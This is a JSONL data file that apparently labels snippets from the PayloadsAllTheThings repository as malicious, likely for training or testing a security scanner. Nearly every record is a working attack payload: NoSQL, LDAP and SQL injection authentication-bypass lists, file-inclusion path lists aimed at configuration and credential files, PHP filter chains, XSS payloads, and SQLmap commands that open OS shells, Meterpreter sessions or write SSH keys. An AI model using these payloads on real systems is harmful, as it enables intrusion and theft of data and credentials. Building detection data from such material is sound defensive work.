{"id": "payloads_00000", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# NoSQL Injection\n\n> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.\n\n## Summary\n\n* [Tools](#tools)\n* [Methodology](#methodology)\n    * [Operator Injection](#operator-injection)\n    * [Authentication Bypass](#authentication-bypass)\n    * [Extract Length Information](#extract-length-information)\n    * [Extract Data Information](#extract-data-information)\n    * [WAF and Filters](#waf-and-filters)\n* [Blind NoSQL](#blind-nosql)\n    * [POST with JSON Body](#post-with-json-body)\n    * [POST with urlencoded Body](#post-with-urlencoded-body)\n    * [GET](#get)\n* [Labs](#references)\n* [References](#references)\n\n## Tools\n\n* [codingo/NoSQLmap](https://github.com/codingo/NoSQLMap) - Automated NoSQL database enumeration and web application exploitation tool\n* [digininja/nosqlilab](https://github.com/digininja/nosqlilab) - A lab for playing with NoSQL Injection\n* [matrix/Burp-NoSQLiScanner](https://github.com/matrix/Burp-NoSQLiScanner) - This extension provides a way to discover NoSQL injection vulnerabilities.\n\n## Methodology\n\nNoSQL injection occurs when an attacker manipulates queries by injecting malicious input into a NoSQL database query. Unlike SQL injection, NoSQL injection often exploits JSON-based queries and operators like `$ne`, `$gt`, `$regex`, or `$where` in MongoDB.\n\n### Operator Injection\n\n| Operator | Description        |\n| -------- | ------------------ |\n| $ne      | not equal          |\n| $regex   | regular expression |\n| $gt      | greater than       |\n| $lt      | lower than         |\n| $nin     | not in             |\n\nExample: A web application has a product search feature\n\n```js\ndb.products.find({ \"price\": userInput })\n```\n\nAn attacker can inject a NoSQL query: `{ \"$gt\": 0 }`.\n\n```js\ndb.products.find({ \"price\": { \"$gt\": 0 } })\n```\n\nInstead of returning a specific product, the database returns all products with a price greater than zero, leaking data.\n\n### Authentication Bypass\n\nBasic authentication bypass using not equal (`$ne`) or greater (`$gt`)\n\n* HTTP data\n\n  ```ps1\n  username[$ne]=toto&password[$ne]=toto\n  login[$regex]=a.*&pass[$ne]=lol\n  login[$gt]=admin&login[$lt]=test&pass[$ne]=1\n  login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto\n  ```\n\n* JSON data\n\n  ```json\n  {\"username\": {\"$ne\": null}, \"password\": {\"$ne\": null}}\n  {\"username\": {\"$ne\": \"foo\"}, \"password\": {\"$ne\": \"bar\"}}\n  {\"username\": {\"$gt\": undefined}, \"password\": {\"$gt\": undefined}}\n  {\"username\": {\"$gt\":\"\"}, \"password\": {\"$gt\":\"\"}}\n  ```\n\n### Extract Length Information\n\nInject a payload using the $regex operator. The injection will work when the length is correct.\n\n```ps1\nusername[$ne]=toto&password[$regex]=.{1}\nusername[$ne]=toto&password[$regex]=.{3}\n```\n\n### Extract Data Information\n\nExtract data with \"`$regex`\" query operator.\n\n* HTTP data\n\n  ```ps1\n  username[$ne]=toto&password[$regex]=m.{2}\n  username[$ne]=toto&password[$regex]=md.{1}\n  username[$ne]=toto&password[$regex]=mdp\n\n  username[$ne]=toto&password[$regex]=m.*\n  username[$ne]=toto&password[$regex]=md.*\n  ```\n\n* JSON data\n\n  ```json\n  {\"username\": {\"$eq\": \"admin\"}, \"password\": {\"$regex\": \"^m\" }}\n  {\"username\": {\"$eq\": \"admin\"}, \"password\": {\"$regex\": \"^md\" }}\n  {\"username\": {\"$eq\": \"admin\"}, \"password\": {\"$regex\": \"^mdp\" }}\n  ```\n\nExtract data with \"`$in`\" query operator.\n\n```json\n{\"username\":{\"$in\":[\"Admin\", \"4dm1n\", \"admin\", \"root\", \"administrator\"]},\"password\":{\"$gt\":\"\"}}\n```\n\n### WAF and Filters\n\n**Remove pre-condition**:\n\nIn MongoDB, if a document contains duplicate keys, only the last occurrence of the key will take precedence.\n\n```js\n{\"id\":\"10\", \"id\":\"100\"} \n```\n\nIn this case, the final value of \"id\" will be \"100\".\n\n## Blind NoSQL\n\n### POST with JSON Body\n\nPython script:\n\n```python\nimport", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "NoSQL injection payload from NoSQL Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00001", "source": "payloads_all_the_things", "source_license": "MIT", "text": "*\n*)(&\n*))%00\n)(cn=))\\x00\n*()|%26'\n*()|&'\n*(|(mail=*))\n*(|(objectclass=*))\n*)(uid=*))(|(uid=*\n*/*\n*|\n/\n//\n//*\n@*\n|\nadmin*\nadmin*)((|userpassword=*)\nadmin*)((|userPassword=*)\nx' or name()='username' or 'x'='ys", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "LDAP injection payload from LDAP Injection/LDAP_FUZZ_SMALL.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00002", "source": "payloads_all_the_things", "source_license": "MIT", "text": "1\n1'\n1\"\n[1]\n1`\n1\\\n1/*'*/\n1/*!1111'*/\n1'||'asd'||'\n1' or '1'='1\n1 or 1=1\n'or''='", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/Generic_Fuzz.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00003", "source": "payloads_all_the_things", "source_license": "MIT", "text": "F2D27DF0348E9A3EAD6AC66330C31F821394D4CD1A5E139EEE85EA9D9F2A963E55EC87572F699FB834292CC9E37AD56B6B26AA379106CBA5E9AA544C688F3E92,F6D5A5C8DDEC57481610829F58D6C95BDAC5FA21082F3FA9CB5A36DCEAACBEDB\nCB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF,E9D2490BD0075B51D1BA5288514514AF\nEDB59F017A178C9095805B88666496F8A6E24761256AE27F8F8994B07F5D9BBD2499F9560967849067899CE234D8E4769CF0AEE99474FA7A6F67D4E62E7F5650,8FFD993C85C8464EA7C117CA0CDB37572B60ECA8BABAA76C6BC94994CA115ECE\n086BA0EB24E1A622F477B52C19C30A4069A0472CB089F6B80667368450C275CD9F649EC5DB9F8BCCD7B25E286F52852E956B0CD638EAE29E0B6B47F0A8FE6133,00B978835A8B45E0E11422C5F56E626306320DBFFCC6F3121D34AB8D32616E80\nA0FF8AAEEF61C0F962B18DA75FC2FCB2113255870C45C3C695FF2F98652A665DEE2F57A7CA4236F17423EC0D7B6CE0F8BE25323D0FF4BA7DBB3113451709A781,5C66D9C8F48669CF12EA7E69EBEB2C2C2775F37DAFA3AF49\n56AB7132992003EE87F74AE4D9675D65EED8018D3528C0B8874905B51940DEAF6B85F1D922D19AB8F69781B2326A2F978A064708822FD8C54ED74CADF8592E17,A69D80B92A16DFE1698DFE86D4CED630FA56D7C1661C8D05744449889B88E8DC\n87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC,E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92F7\nF1ABAEE7E733A4CE4771C27EA79021D992E47B8801A3618305F9820F468FB193C63A21485DEFD0F51A5D8FD31B5A5BAA968DD456B9F7BC575F8B61A662E8972C,DDABD235C8B46113985005507B476F468D4C283F2C14989F\n0EBBA00DA053E328AB97A4E5C5776BB9B6942A68858824A06F41F426E315AD08692E8D161CC964621C4812D1E661D41DB2E80D714D9665D6B715A10B8269D74D,372312838EDA93BB0F1865733FDC6ACC5A1AFD7F9CBD0604\n3C5D2E795AFEF355E5656AF3A7C0A7167C25A32D174FDD92C375F97924239162A5FDFAA8119F6474E6D1EAB6D41128322719D937EBFA9A360E77D4B11580F5F8,637960D51A1036252D15CBADBA9C1732B8D5DF4AA71F6B9545B560F485333DF0\nC551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45,F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2\n8583A4EC1C9C73F83013BC508FF6D5501DCD628D5740E37C21761056862FBCD96E3E41706073121A1DC329F8FE5A1C2EBC3B3BBFA9A66AF446ABB0DCCC225E04,E852249323C54848DAAC8B4E18939D898B25FFD50887D095\nB710815F55E22A33A906AB623FD4D6C2F7CFA8E318C73E206367E2B7BC551F496E2CEB168EE9EEBABB8856B49203F613610C718A1D55F9324595A8AC7A50960A,A66853D79C1859AB168DA9308EAB82F9FDB7F067A6EEEF8895B4F4939751E2E8\nDB7A67C340F1646C37F5795F16D8F6D022EC524C3FBEF8E685E0A3862EBD6CFC34FFC591BF741DB676BC22C0135301F0C34BC857C75182FD6C38BC271DA7B4C4,159C53F3041BACD4DEC5C552640810921B80DCBF7E2FD9D3\nCD13B657DE510907D7B33AD293720E0D6B20694EFA23DF68C4B1FF115E5D20DC7A0956BA0A173587D702FC9E9EEBAF727CFE23E354075CFA5232EF9603EE64B5,D937C0BA1F75C95CDE3455D3B36AC86406975D1CB3AA7D70F9165D48395E1114\nA1654CEE27B5758FA01A90EDDF26E2094B9093BEA5E991B847B50C332986EDCF01FE35C7DD4286F4E6539B420A13B7EA03C32196639D66818E441998B6693084,29A2C2F8FBA079BC4E2EE5F264BF86F99B2876A38F5D7D34\nF4F0AC3A8889DFBB6FC9D24275A8F0E523C1FB1A2F3FA0C3F3B36320A80670E1D62D15A16A335F0CB14F8AECE7002A5BD8A980F677EA82666B49167947F0A669,87852F941542853BFDE24FE43165ADE6886FA6A0E9C4D4AECDBD4545F8CF579A\n0161DF8B3E1979DD62E41AC1C92BA883A6D67147A1F2769AF96EA592091A11C183706B0C1DD455701A744EDC4DCFD8F3C61BBC3E9BD01B2874AB25228B2D35AE,0BBD542DC6A4D24DD5D0647D356F407318BFD1394D108840\n82FBC4649986565231B8ED91F953861DEF61798A0762444E6FC3BE98ED0BB7BBB2B7F3D969FA966677032D041A0F66A8C005A4E118B755D59963E2561099EA66,068F5046828DFD92F5091915D5FCEBF2BC46F63D4F87E05CEFF52E098C2746EC\nC5274EBD4132CAF41C8B0EEA787BD6BC1ED7D2CEB83E01A767BF75EC1D53B8A4F64DA526E9DA2AF652E07B2CB1B990F845AE38FA19E7CBC0E49EB2E441BCCF68,64A042EED787DD80B896CCFD3F4E70B58DB9E2378BF5D327\n26986EC73B519D253702C0DC129C00A241C9367271385D8855EC6830A4F2AC689DED3AEDF24B92ED02987E1A0008FCA99BFB850F00FE09D572436AA00B38E171,07F36C1C8D463E051E49F8FE29A894ED81BFE34E56C945536AEF9C02A1830EFD\nB40DC9E190CAF773FD68D1B648C9F3D96CDDE929EBCD74A1DF18FB0907EAC3C86170D593D69E26B78E8AF9E88B7BCBFA72D307CCC498D4EDE4F2BA589AB25B26,18A6D3CDEB4A8A36552FA909728CB7F4CC4B43B541D6B293\n01CA3901031C67B0DF02", "findings": [{"category": "malicious", "subcategory": "malicious.obfuscation", "severity": "high", "explanation": "API key leak patterns payload from API Key Leaks/MachineKeys.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00004", "source": "payloads_all_the_things", "source_license": "MIT", "text": "C:/$recycle.bin/s-1-5-18/desktop.ini\nC:/apache2/log/access.log\nC:/apache2/log/access_log\nC:/apache2/log/error.log\nC:/apache2/log/error_log\nC:/apache2/logs/access.log\nC:/apache2/logs/access_log\nC:/apache2/logs/error.log\nC:/apache2/logs/error_log\nC:/apache/log/access.log\nC:/apache/log/access_log\nC:/apache/log/error.log\nC:/apache/log/error_log\nC:/apache/logs/access.log\nC:/apache/logs/access_log\nC:\\apache\\logs\\access.log\nC:/apache/logs/error.log\nC:/apache/logs/error_log\nC:\\apache\\logs\\error.log\nC:/apache/php/php.ini\nC:/boot.ini\nC:\\boot.ini\nC:/documents and settings/administrator/desktop/desktop.ini\nC:/documents and settings/administrator/ntuser.dat\nC:/documents and settings/administrator/ntuser.ini\nC:/home2/bin/stable/apache/php.ini\nC:/home/bin/stable/apache/php.ini\nC:/inetpub/logs/logfiles\nC:/inetpub/wwwroot/global.asa\nC:/inetpub/wwwroot/index.asp\nC:/inetpub/wwwroot/web.config\nC:/log/access.log\nC:/log/access_log\nC:/log/error.log\nC:/log/error_log\nC:/log/httpd/access_log\nC:/log/httpd/error_log\nC:/logs/access.log\nC:/logs/access_log\nC:/logs/error.log\nC:/logs/error_log\nC:/logs/httpd/access_log\nC:/logs/httpd/error_log\nC:/MININT/SMSOSD/OSDLOGS/VARIABLES.DAT\nC:/mysql/bin/my.ini\nC:/mysql/data/hostname.err\nC:/mysql/data/mysql.err\nC:/mysql/data/mysql.log\nC:/mysql/my.cnf\nC:/mysql/my.ini\nC:\\nginx-1.7.4\\conf\\nginx.conf\nC:\\nginx-1.7.4\\nginx.conf\nC:/opt/xampp/logs/access.log\nC:/opt/xampp/logs/access_log\nC:/opt/xampp/logs/error.log\nC:/opt/xampp/logs/error_log\nC:/php4/php.ini\nC:/php4/sessions/\nC:/php5/php.ini\nC:/php5/sessions/\nC:/php/php.ini\nC:/php/sessions/\nC:/program files/apache group/apache2/conf/httpd.conf\nC:/program files/apachegroup/apache2/conf/httpd.conf\nC:/programfiles/apachegroup/apache2/conf/httpd.conf\nC:/program files/apache group/apache/conf/httpd.conf\nC:/program files/apachegroup/apache/conf/httpd.conf\nC:/programfiles/apachegroup/apache/conf/httpd.conf\nC:/program files/apache group/apache/logs/access.log\nC:/program files/apache group/apache/logs/error.log\nC:\\Program Files\\Apache Software Foundation\\Apache2.2\\conf\\httpd.conf\nC:\\Program Files\\Apache Software Foundation\\Apache2.2\\logs\\access.log\nC:\\Program Files\\Apache Software Foundation\\Apache2.2\\logs\\error.log\nC:/program files/filezilla server/filezilla server.xml\nC:/program files/mysql/data/hostname.err\nC:/program files/mysql/data/mysql-bin.log\nC:/program files/mysql/data/mysql.err\nC:/program files/mysql/data/mysql.log\nC:/program files/mysql/my.cnf\nC:/program files/mysql/my.ini\nC:/program files/mysql/mysql server 5.0/data/hostname.err\nC:/program files/mysql/mysql server 5.0/data/mysql-bin.log\nC:/program files/mysql/mysql server 5.0/data/mysql.err\nC:/program files/mysql/mysql server 5.0/data/mysql.log\nC:/program files/mysql/mysql server 5.0/my.cnf\nC:/program files/mysql/mysql server 5.0/my.ini\nC:/program files/mysql/mysql server 5.1/my.ini\nC:/program files (x86)/apache group/apache2/conf/httpd.conf\nC:/program files (x86)/apache group/apache/conf/access.log\nC:/program files (x86)/apache group/apache/conf/error.log\nC:/program files (x86)/apache group/apache/conf/httpd.conf\nC:/program files (x86)/filezilla server/filezilla server.xml\nC:/program files (x86)/xampp/apache/conf/httpd.conf\nC:/program files/xampp/apache/conf/httpd.conf\nC:/programfiles/xampp/apache/conf/httpd.conf\nC:/program files/xampp/apache/conf/httpd.confetc/passwd\nC:/sysprep.inf\nC:/sysprep/sysprep.inf\nC:/sysprep/sysprep.xml\nC:/sysprep.xml\nC:/system32/inetsrv/metabase.xml\nC:/system volume information/wpsettings.dat\nC:/unattended.txt\nC:/unattended.xml\nC:/unattend.txt\nC:/unattend.xml\nC:/users/administrator/desktop/desktop.ini\nC:/users/administrator/ntuser.dat\nC:/users/administrator/ntuser.ini\nC:\\wamp\\apache2\\logs\\access.log\nC:\\wamp\\apache2\\logs\\access_log\nC:\\wamp\\apache2\\logs\\error.log\nC:\\wamp\\apache2\\logs\\error_log\nC:\\wamp\\logs\\access.log\nC:\\wamp\\logs\\access_log\nC:\\wamp\\logs\\error.log\nC:\\wamp\\logs\\error_log\nC:/windows/csc/v2.0.6/pq\nC:/windows/csc/v2.0.6/sm\nC:/windows/debug/netsetup.log\nC:/windows/explorer.exe\nC:/windows/ii", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/Windows-files.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00005", "source": "payloads_all_the_things", "source_license": "MIT", "text": "/usr/pkg/etc/httpd/httpd.conf\n/usr/local/etc/apache22/httpd.conf\n/usr/local/etc/apache2/httpd.conf\n/var/www/conf/httpd.conf\n/var/www/logs/error_log\n/var/www/logs/access_log\n/etc/apache2/httpd2.conf\n/var/apache2/logs/error_log\n/var/apache2/logs/access_log\n/var/log/httpd-error.log\n/var/log/httpd-access.log\n/var/log/httpd/error_log\n/var/log/httpd/access_log", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/BSD-files.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00006", "source": "payloads_all_the_things", "source_license": "MIT", "text": "convert.iconv.437.CP930\nconvert.iconv.CP1390.CSIBM932\nconvert.iconv.CP273.CP1122\nconvert.iconv.CP285.CP280\nconvert.iconv.CSISO5427CYRILLIC.855\nconvert.iconv.CSN_369103.CP770\nconvert.iconv.CSUNICODE.CSUNICODE\nconvert.iconv.CSUNICODE.UCS-2BE\nconvert.iconv.ES.IBM037\nconvert.iconv.ES.IBM930\nconvert.iconv.IBM037.CP1250\nconvert.iconv.IBM037.IBM256\nconvert.iconv.IBM037.IBM280\nconvert.iconv.IBM037.IBM860\nconvert.iconv.IBM1122.IBM273\nconvert.iconv.IBM1137.8859_1\nconvert.iconv.IBM1141.8859_1\nconvert.iconv.IBM1141.IBM4517\nconvert.iconv.IBM1145.IBM850\nconvert.iconv.IBM1148.EBCDIC-AT-DE-A\nconvert.iconv.IBM1149.MAC-SAMI\nconvert.iconv.IBM1390.IBM932\nconvert.iconv.IBM1390.IBM939\nconvert.iconv.IBM1399.IBM930\nconvert.iconv.IBM256.IBM273\nconvert.iconv.IBM273.CWI\nconvert.iconv.IBM273.ES\nconvert.iconv.IBM273.IBM420\nconvert.iconv.IBM273.IT\nconvert.iconv.IBM273.PT\nconvert.iconv.IBM273.US\nconvert.iconv.IBM277.ISO-8859-9E\nconvert.iconv.IBM278.IBM861\nconvert.iconv.IBM278.MIK\nconvert.iconv.IBM284.IBM278\nconvert.iconv.IBM297.IBM273\nconvert.iconv.IBM297.IBM280\nconvert.iconv.IBM4971.ARMSCII-8\nconvert.iconv.IBM870.MAC-IS\nconvert.iconv.L1.UCS-4\nconvert.iconv.L1.UCS-4LE\nconvert.iconv.L1.UTF16LE\nconvert.iconv.L1.utf7\nconvert.iconv.L1.UTF7\nconvert.iconv.UCS-4LE.10646-1:1993\nconvert.iconv.UTF16.UTF16\nconvert.iconv..UTF7\nconvert.iconv.UTF8.CP930\nconvert.iconv.UTF8.IBM1140\nconvert.iconv.VISCII.MSZ_7795.3", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/php-filter-iconv.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00007", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<?php phpinfo(); ?>\n", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Malicious file upload payload from Upload Insecure Files/phpinfo.php. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00008", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# SQLmap\n\n> SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios.\n> Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts.\n> Reinventing the wheel isn't ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code.\n> However you should always know how SQLmap is working, and be able to replicate it manually if necessary.\n\n## Summary\n\n* [Basic Arguments For SQLmap](#basic-arguments-for-sqlmap)\n* [Load A Request File](#load-a-request-file)\n* [Custom Injection Point](#custom-injection-point)\n* [Second Order Injection](#second-order-injection)\n* [Getting A Shell](#getting-a-shell)\n* [Crawl And Auto-Exploit](#crawl-and-auto-exploit)\n* [Proxy Configuration For SQLmap](#proxy-configuration-for-sqlmap)\n* [Injection Tampering](#injection-tampering)\n    * [Suffix And Prefix](#suffix-and-prefix)\n    * [Default Tamper Scripts](#default-tamper-scripts)\n    * [Custom Tamper Scripts](#custom-tamper-scripts)\n    * [Custom SQL Payload](#custom-sql-payload)\n    * [Evaluate Python Code](#evaluate-python-code)\n    * [Preprocess And Postprocess Scripts](#preprocess-and-postprocess-scripts)\n* [Reduce Requests Number](#reduce-requests-number)\n* [SQLmap Without SQL Injection](#sqlmap-without-sql-injection)\n* [References](#references)\n\n## Basic Arguments For SQLmap\n\n```powershell\nsqlmap --url=\"<url>\" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs\n```\n\n## Load A Request File\n\nA request file in SQLmap is a saved HTTP request that SQLmap reads and uses to perform SQL injection testing. This file allows you to provide a complete and custom HTTP request, which SQLmap can use to target more complex applications.\n\n```powershell\nsqlmap -r request.txt\n```\n\n## Custom Injection Point\n\nA custom injection point in SQLmap allows you to specify exactly where and how SQLmap should attempt to inject payloads into a request. This is useful when dealing with more complex or non-standard injection scenarios that SQLmap may not detect automatically.\n\nBy defining a custom injection point with the wildcard character '`*`' , you have finer control over the testing process, ensuring SQLmap targets specific parts of the request you suspect to be vulnerable.\n\n```powershell\nsqlmap -u \"http://example.com\" --data \"username=admin&password=pass\"  --headers=\"x-forwarded-for:127.0.0.1*\"\n```\n\n## Second Order Injection\n\nA second-order SQL injection occurs when malicious SQL code injected into an application is not executed immediately but is instead stored in the database and later used in another SQL query.\n\n```powershell\nsqlmap -r /tmp/r.txt --dbms MySQL --second-order \"http://targetapp/wishlist\" -v 3\nsqlmap -r 1.txt -dbms MySQL -second-order \"http://<IP/domain>/joomla/administrator/index.php\" -D \"joomla\" -dbs\n```\n\n## Getting A Shell\n\n* SQL Shell:\n\n    ```ps1\n    sqlmap -u \"http://example.com/?id=1\"  -p id --sql-shell\n    ```\n\n* OS Shell:\n\n    ```ps1\n    sqlmap -u \"http://example.com/?id=1\"  -p id --os-shell\n    ```\n\n* Meterpreter:\n\n    ```ps1\n    sqlmap -u \"http://example.com/?id=1\"  -p id --os-pwn\n    ```\n\n* SSH Shell:\n\n    ```ps1\n    sqlmap -u \"http://example.com/?id=1\" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/\n    ```\n\n## Crawl And Auto-Exploit\n\nThis method is not advisable for penetration testing; it should only be used in controlled environments or challenges. It will crawl the entire website ", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/SQLmap.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00009", "source": "payloads_all_the_things", "source_license": "MIT", "text": "<script\\x20type=\"text/javascript\">javascript:alert(1);</script>\n<script\\x3Etype=\"text/javascript\">javascript:alert(1);</script>\n<script\\x0Dtype=\"text/javascript\">javascript:alert(1);</script>\n<script\\x09type=\"text/javascript\">javascript:alert(1);</script>\n<script\\x0Ctype=\"text/javascript\">javascript:alert(1);</script>\n<script\\x2Ftype=\"text/javascript\">javascript:alert(1);</script>\n<script\\x0Atype=\"text/javascript\">javascript:alert(1);</script>\n'`\"><\\x3Cscript>javascript:alert(1)</script>        \n'`\"><\\x00script>javascript:alert(1)</script>\n<img src=1 href=1 onerror=\"javascript:alert(1)\"></img>\n<audio src=1 href=1 onerror=\"javascript:alert(1)\"></audio>\n<video src=1 href=1 onerror=\"javascript:alert(1)\"></video>\n<body src=1 href=1 onerror=\"javascript:alert(1)\"></body>\n<image src=1 href=1 onerror=\"javascript:alert(1)\"></image>\n<object src=1 href=1 onerror=\"javascript:alert(1)\"></object>\n<script src=1 href=1 onerror=\"javascript:alert(1)\"></script>\n<svg onResize svg onResize=\"javascript:javascript:alert(1)\"></svg onResize>\n<title onPropertyChange title onPropertyChange=\"javascript:javascript:alert(1)\"></title onPropertyChange>\n<iframe onLoad iframe onLoad=\"javascript:javascript:alert(1)\"></iframe onLoad>\n<body onMouseEnter body onMouseEnter=\"javascript:javascript:alert(1)\"></body onMouseEnter>\n<body onFocus body onFocus=\"javascript:javascript:alert(1)\"></body onFocus>\n<frameset onScroll frameset onScroll=\"javascript:javascript:alert(1)\"></frameset onScroll>\n<script onReadyStateChange script onReadyStateChange=\"javascript:javascript:alert(1)\"></script onReadyStateChange>\n<html onMouseUp html onMouseUp=\"javascript:javascript:alert(1)\"></html onMouseUp>\n<body onPropertyChange body onPropertyChange=\"javascript:javascript:alert(1)\"></body onPropertyChange>\n<svg onLoad svg onLoad=\"javascript:javascript:alert(1)\"></svg onLoad>\n<body onPageHide body onPageHide=\"javascript:javascript:alert(1)\"></body onPageHide>\n<body onMouseOver body onMouseOver=\"javascript:javascript:alert(1)\"></body onMouseOver>\n<body onUnload body onUnload=\"javascript:javascript:alert(1)\"></body onUnload>\n<body onLoad body onLoad=\"javascript:javascript:alert(1)\"></body onLoad>\n<bgsound onPropertyChange bgsound onPropertyChange=\"javascript:javascript:alert(1)\"></bgsound onPropertyChange>\n<html onMouseLeave html onMouseLeave=\"javascript:javascript:alert(1)\"></html onMouseLeave>\n<html onMouseWheel html onMouseWheel=\"javascript:javascript:alert(1)\"></html onMouseWheel>\n<style onLoad style onLoad=\"javascript:javascript:alert(1)\"></style onLoad>\n<iframe onReadyStateChange iframe onReadyStateChange=\"javascript:javascript:alert(1)\"></iframe onReadyStateChange>\n<body onPageShow body onPageShow=\"javascript:javascript:alert(1)\"></body onPageShow>\n<style onReadyStateChange style onReadyStateChange=\"javascript:javascript:alert(1)\"></style onReadyStateChange>\n<frameset onFocus frameset onFocus=\"javascript:javascript:alert(1)\"></frameset onFocus>\n<applet onError applet onError=\"javascript:javascript:alert(1)\"></applet onError>\n<marquee onStart marquee onStart=\"javascript:javascript:alert(1)\"></marquee onStart>\n<script onLoad script onLoad=\"javascript:javascript:alert(1)\"></script onLoad>\n<html onMouseOver html onMouseOver=\"javascript:javascript:alert(1)\"></html onMouseOver>\n<html onMouseEnter html onMouseEnter=\"javascript:parent.javascript:alert(1)\"></html onMouseEnter>\n<body onBeforeUnload body onBeforeUnload=\"javascript:javascript:alert(1)\"></body onBeforeUnload>\n<html onMouseDown html onMouseDown=\"javascript:javascript:alert(1)\"></html onMouseDown>\n<marquee onScroll marquee onScroll=\"javascript:javascript:alert(1)\"></marquee onScroll>\n<xml onPropertyChange xml onPropertyChange=\"javascript:javascript:alert(1)\"></xml onPropertyChange>\n<frameset onBlur frameset onBlur=\"javascript:javascript:alert(1)\"></frameset onBlur>\n<applet onReadyStateChange applet onReadyStateChange=\"javascript:javascript:alert(1)\"></applet onReadyStateChange>\n<svg onUnload svg onUnload=\"javascript:javascript:aler", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/xss_alert.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00010", "source": "payloads_all_the_things", "source_license": "MIT", "text": "'-'\n' '\n'&'\n'^'\n'*'\n' or ''-'\n' or '' '\n' or ''&'\n' or ''^'\n' or ''*'\n\"-\"\n\" \"\n\"&\"\n\"^\"\n\"*\"\n\" or \"\"-\"\n\" or \"\" \"\n\" or \"\"&\"\n\" or \"\"^\"\n\" or \"\"*\"\nor true--\n\" or true--\n' or true--\n\") or true--\n') or true--\n' or 'x'='x\n') or ('x')=('x\n')) or (('x'))=(('x\n\" or \"x\"=\"x\n\") or (\"x\")=(\"x\n\")) or ((\"x\"))=((\"x\nor 1=1\nor 1=1--\nor 1=1#\nor 1=1/*\nadmin' --\nadmin' #\nadmin'/*\nadmin' or '1'='1\nadmin' or '1'='1'--\nadmin' or '1'='1'#\nadmin' or '1'='1'/*\nadmin'or 1=1 or ''='\nadmin' or 1=1\nadmin' or 1=1--\nadmin' or 1=1#\nadmin' or 1=1/*\nadmin') or ('1'='1\nadmin') or ('1'='1'--\nadmin') or ('1'='1'#\nadmin') or ('1'='1'/*\nadmin') or '1'='1\nadmin') or '1'='1'--\nadmin') or '1'='1'#\nadmin') or '1'='1'/*\n1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055\nadmin\" --\nadmin\" #\nadmin\"/*\nadmin\" or \"1\"=\"1\nadmin\" or \"1\"=\"1\"--\nadmin\" or \"1\"=\"1\"#\nadmin\" or \"1\"=\"1\"/*\nadmin\"or 1=1 or \"\"=\"\nadmin\" or 1=1\nadmin\" or 1=1--\nadmin\" or 1=1#\nadmin\" or 1=1/*\nadmin\") or (\"1\"=\"1\nadmin\") or (\"1\"=\"1\"--\nadmin\") or (\"1\"=\"1\"#\nadmin\") or (\"1\"=\"1\"/*\nadmin\") or \"1\"=\"1\nadmin\") or \"1\"=\"1\"--\nadmin\") or \"1\"=\"1\"#\nadmin\") or \"1\"=\"1\"/*\n1' or 1.e(1) or '1'='1\n1234 \" AND 1=0 UNION ALL SELECT \"admin\", \"81dc9bdb52d04dc20036dbd8313ed055\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "SQL injection payload from SQL Injection/Auth_Bypass.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
